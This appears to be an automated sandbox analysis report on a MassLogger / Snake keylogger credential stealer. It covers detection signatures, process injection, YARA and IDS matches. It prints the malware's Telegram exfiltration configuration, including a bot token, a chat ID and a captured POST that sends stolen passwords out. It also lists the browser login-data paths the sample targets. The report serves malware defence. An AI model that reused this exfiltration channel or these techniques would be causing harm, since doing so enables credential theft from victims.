Edit tour

Windows Analysis Report
h8izmpp1ZM.exe

Overview

General Information

Sample name:	h8izmpp1ZM.exe renamed because original name is a hash value
Original sample name:	32d1a1b83308fea13c7cd921f59edaaf7ddc8756edd19523146d89fb711f1a24.exe
Analysis ID:	1589011
MD5:	d105b18ae5dd26346d6c7594c085b152
SHA1:	2f15492baa4fcb51e93f816a2e5d4ed69dd99d0c
SHA256:	32d1a1b83308fea13c7cd921f59edaaf7ddc8756edd19523146d89fb711f1a24
Tags:	exeMassLoggeruser-adrian__luca
Infos:

Detection

MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

h8izmpp1ZM.exe (PID: 7484 cmdline: "C:\Users\user\Desktop\h8izmpp1ZM.exe" MD5: D105B18AE5DD26346D6C7594C085B152)

RegSvcs.exe (PID: 7588 cmdline: "C:\Users\user\Desktop\h8izmpp1ZM.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM", "Telegram Chatid": "7455776561"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xef73:$a1: get_encryptedPassword 0xf29b:$a2: get_encryptedUsername 0xed0e:$a3: get_timePasswordChanged 0xee2f:$a4: get_passwordField 0xef89:$a5: set_encryptedPassword 0x108e5:$a7: get_logins 0x10596:$a8: GetOutlookPasswords 0x10388:$a9: StartKeylogger 0x10835:$a10: KeyLoggerEventArgs 0x103e5:$a11: KeyLoggerEventArgsEventHandler
00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: h8izmpp1ZM.exe PID: 7484	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: h8izmpp1ZM.exe PID: 7484	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: h8izmpp1ZM.exe PID: 7484	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: h8izmpp1ZM.exe PID: 7484	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x11b99a:$a1: get_encryptedPassword 0x11bcb3:$a2: get_encryptedUsername 0x11b749:$a3: get_timePasswordChanged 0x11b86a:$a4: get_passwordField 0x11b9b0:$a5: set_encryptedPassword 0x11d2b3:$a7: get_logins 0x11cf64:$a8: GetOutlookPasswords 0x11cd56:$a9: StartKeylogger 0x11d203:$a10: KeyLoggerEventArgs 0x11cdb3:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 7588	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 7588	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7588	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 7588	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1470c:$a1: get_encryptedPassword 0x14a25:$a2: get_encryptedUsername 0x144bb:$a3: get_timePasswordChanged 0x145dc:$a4: get_passwordField 0x14722:$a5: set_encryptedPassword 0x16025:$a7: get_logins 0x15cd6:$a8: GetOutlookPasswords 0x15ac8:$a9: StartKeylogger 0x15f75:$a10: KeyLoggerEventArgs 0x15b25:$a11: KeyLoggerEventArgsEventHandler
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.h8izmpp1ZM.exe.560000.0.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
1.2.h8izmpp1ZM.exe.560000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.h8izmpp1ZM.exe.560000.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.h8izmpp1ZM.exe.560000.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
1.2.h8izmpp1ZM.exe.560000.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
1.2.h8izmpp1ZM.exe.560000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
1.2.h8izmpp1ZM.exe.560000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.h8izmpp1ZM.exe.560000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.h8izmpp1ZM.exe.560000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd373:$a1: get_encryptedPassword 0xd69b:$a2: get_encryptedUsername 0xd10e:$a3: get_timePasswordChanged 0xd22f:$a4: get_passwordField 0xd389:$a5: set_encryptedPassword 0xece5:$a7: get_logins 0xe996:$a8: GetOutlookPasswords 0xe788:$a9: StartKeylogger 0xec35:$a10: KeyLoggerEventArgs 0xe7e5:$a11: KeyLoggerEventArgsEventHandler
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
4.2.RegSvcs.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
1.2.h8izmpp1ZM.exe.560000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12325:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11823:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b31:$a4: \Orbitum\User Data\Default\Login Data 0x12929:$a5: \Kometa\User Data\Default\Login Data
Click to see the 10 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:23:18.539672+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49738	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:23:11.665372+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49707	193.122.130.0	80	TCP
2025-01-11T08:23:17.634137+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49707	193.122.130.0	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:23:18.291610+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49738	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e6e8455b09Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: RegSvcs.exe, 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: RegSvcs.exe, 00000004.00000002.3754906148.0000000003280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegSvcs.exe, 00000004.00000002.3754906148.0000000003280000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3754906148.0000000003274000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 00000004.00000002.3754906148.0000000003201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: h8izmpp1ZM.exe, 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000004.00000002.3754906148.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: RegSvcs.exe, 00000004.00000002.3754906148.0000000003201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: RegSvcs.exe, 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: h8izmpp1ZM.exe, 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: RegSvcs.exe, 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455
Source: RegSvcs.exe, 00000004.00000002.3754906148.0000000003280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: h8izmpp1ZM.exe, 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3754906148.0000000003280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 00000004.00000002.3754906148.0000000003280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49738 version: TLS 1.2

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_00644164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

1_2_00644164

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_00644164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

1_2_00644164

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_00643F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

1_2_00643F66

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_0063001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

1_2_0063001C

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_0065CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

1_2_0065CABC

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.h8izmpp1ZM.exe.560000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.h8izmpp1ZM.exe.560000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.h8izmpp1ZM.exe.560000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.h8izmpp1ZM.exe.560000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: h8izmpp1ZM.exe PID: 7484, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 7588, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: This is a third-party compiled AutoIt script.	1_2_005D3B3A
Source: h8izmpp1ZM.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: h8izmpp1ZM.exe, 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_688744fb-2
Source: h8izmpp1ZM.exe, 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_84fab65c-6
Source: h8izmpp1ZM.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_53a95812-1
Source: h8izmpp1ZM.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_a0d90130-0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_0063A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

1_2_0063A1EF

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_006285B0 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,

1_2_006285B0

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe

Code function: 1_2_006351BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

1_2_006351BD

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005FD975	1_2_005FD975
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005DFCE0	1_2_005DFCE0
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005F21C5	1_2_005F21C5
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_006062D2	1_2_006062D2
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_006503DA	1_2_006503DA
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_0060242E	1_2_0060242E
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005F25FA	1_2_005F25FA
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_0062E616	1_2_0062E616
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005E66E1	1_2_005E66E1
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005DE6A0	1_2_005DE6A0
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_0060878F	1_2_0060878F
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_00606844	1_2_00606844
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_00650857	1_2_00650857
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005E8808	1_2_005E8808
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_00638889	1_2_00638889
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005FCB21	1_2_005FCB21
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_00606DB6	1_2_00606DB6
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005E6F9E	1_2_005E6F9E
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005E3030	1_2_005E3030
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005FF1D9	1_2_005FF1D9
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005F3187	1_2_005F3187
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005D1287	1_2_005D1287
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005F1484	1_2_005F1484
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005E5520	1_2_005E5520
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005F7696	1_2_005F7696
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005E5760	1_2_005E5760
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005F1978	1_2_005F1978
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_00609AB5	1_2_00609AB5
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_00657DDB	1_2_00657DDB
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005F1D90	1_2_005F1D90
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005FBDA6	1_2_005FBDA6
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005DDF00	1_2_005DDF00
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_005E3FE0	1_2_005E3FE0
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: 1_2_011896A8	1_2_011896A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_03024328	4_2_03024328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_030227B9	4_2_030227B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_03028DA0	4_2_03028DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_03022DD1	4_2_03022DD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_03025968	4_2_03025968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_03025F90	4_2_03025F90

Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: String function: 005F8900 appears 42 times
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: String function: 005F0AE3 appears 70 times
Source: C:\Users\user\Desktop\h8izmpp1ZM.exe	Code function: String function: 005D7DE1 appears 36 times

Source: h8izmpp1ZM.exe, 00000001.00000003.1288270233.0000000003733000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs h8izmpp1ZM.exe
Source: h8izmpp1ZM.exe, 00000001.00000003.1286665447.00000000038DD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs h8izmpp1ZM.exe
Source: h8izmpp1ZM.exe, 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs h8izmpp1ZM.exe

Source: h8izmpp1ZM.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.h8izmpp1ZM.exe.560000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
